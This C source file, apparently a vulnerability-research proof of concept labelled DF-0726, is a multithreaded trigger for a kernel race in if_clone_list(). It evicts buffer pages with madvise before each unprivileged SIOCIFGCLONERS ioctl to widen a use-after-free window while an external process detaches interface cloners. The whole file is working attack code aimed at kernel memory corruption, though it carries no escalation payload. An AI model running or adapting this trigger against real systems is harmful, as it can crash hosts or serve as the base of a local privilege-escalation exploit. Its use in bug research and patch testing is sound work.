DF-0726 / reader2.c
/* * DF-0726 trigger v2 — widened race. * * Same unprivileged SIOCIFGCLONERS reader, but: * - madvise(MADV_DONTNEED) on the buffer before each ioctl so each copyout * in if_clone_list() takes a page fault, widening the in-kernel window * during which the reader holds a pointer into the if_cloners list while * a writer (if_clone_detach + module unload) can pull the page out from * under it. * - Many threads, each in its own ioctl tight loop. * * Build: cc -O2 -pthread -o reader2 reader2.c * Run: ./reader2 [nthreads] (default 4) */ #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/mman.h> #include <net/if.h> #include <net/if_clone.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #define NBUF (IFNAMSIZ * 256) #define PAGESZ 4096 static volatile unsigned long iters; static volatile int stop; static void * race(void *arg) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return NULL; } char *buf = mmap(NULL, NBUF, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); return NULL; } struct if_clonereq ifcr; memset(&ifcr, 0, sizeof(ifcr)); ifcr.ifcr_count = 256; ifcr.ifcr_buffer = buf; unsigned long local = 0; while (!stop) { /* evict the buffer pages so the kernel's copyout must fault them in */ madvise(buf, NBUF, MADV_DONTNEED); ifcr.ifcr_total = 0; int rc = ioctl(s, SIOCIFGCLONERS, &ifcr); local++; if (rc < 0 && (errno == EFAULT || errno == ENOMEM)) fprintf(stderr, "[t%ld] suspicious errno=%d (iter %lu)\n", (long)arg, errno, local); } __sync_fetch_and_add(&iters, local); close(s); munmap(buf, NBUF); return NULL; } int main(int argc, char **argv) { int n = (argc > 1) ? atoi(argv[1]) : 4; if (n < 1) n = 1; if (n > 16) n = 16; pthread_t th[16]; for (int i = 0; i < n; i++) pthread_create(&th[i], NULL, race, (void *)(long)i); sleep(60); /* run for 60s, then exit; writer is external */ stop = 1; for (int i = 0; i < n; i++) pthread_join(th[i], NULL); fprintf(stderr, "[reader2] %lu total iters across %d threads\n", iters, n); return 0; } |